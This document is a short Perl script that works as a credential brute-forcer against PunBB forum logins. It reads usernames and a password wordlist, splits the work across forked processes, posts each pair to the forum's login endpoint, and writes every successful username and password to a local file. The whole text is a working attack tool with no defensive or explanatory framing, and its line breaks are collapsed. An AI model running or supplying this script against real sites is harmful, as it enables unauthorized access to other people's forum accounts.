#!/usr/bin/perluse LWP; unless($ARGV[0] && $ARGV[1] && $ARGV[2]){print("use punbb.pl http://site/forum/ userfile wordlist\n");exit;}; $url=$ARGV[0]; my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);$userfile=$ARGV[1]; $file=$ARGV[2]; my ($pid,$pid2); $|=1; if(($pid=fork()) && ($pid2=fork())){ brut(0,$userfile,$file,$url); } elsif($pid && defined($pid2)){ brut(1,$userfile,$file,$url); } elsif(defined($pid)){ brut(2,$userfile,$file,$url); } else{ die("error fork()\n"); } sub brut{ $str=shift; $userfile=shift; $file=shift; $url=shift; open(IN,"<$file") or die("can`t open wordlist\n"); my @arr=<IN>; close(IN); open(IN,"<$userfile"); my @ar=<IN>; close(IN); $q=$str*$#arr/3; $q1=($str+1)*$#arr/3; if($str==2){ splice(@arr,0,$q); } elsif($str==1){ splice(@arr,0,$q); splice(@arr,$q1,$#arr); } elsif($str==0){ splice(@arr,$q1,$#arr); } print "$str: wordlist loaded\n"; for(my $a=0 ; $a<=$#arr/3 ; $a++){for($u=0;$u<=$#ar;$u++){$user=$ar[$u];$user=~s/\n$//g; $pass=$arr[$a]; print $str.":".$pass; $pass=~ s/\n$//; $req = new HTTP::Request 'POST',$url.'login.php?action=in'; $data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login'; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $res = $ua->request($req); $content=$res->content; if($content=~ m/Logged in successfully/gi){ print "######################\n"; print "USER :$user\n"; print "PASS :$pass\n"; print "######################\n"; open(OUT,">>out-punbb.txt"); print OUT $user.":".$pass."\n"; close(OUT); }}}}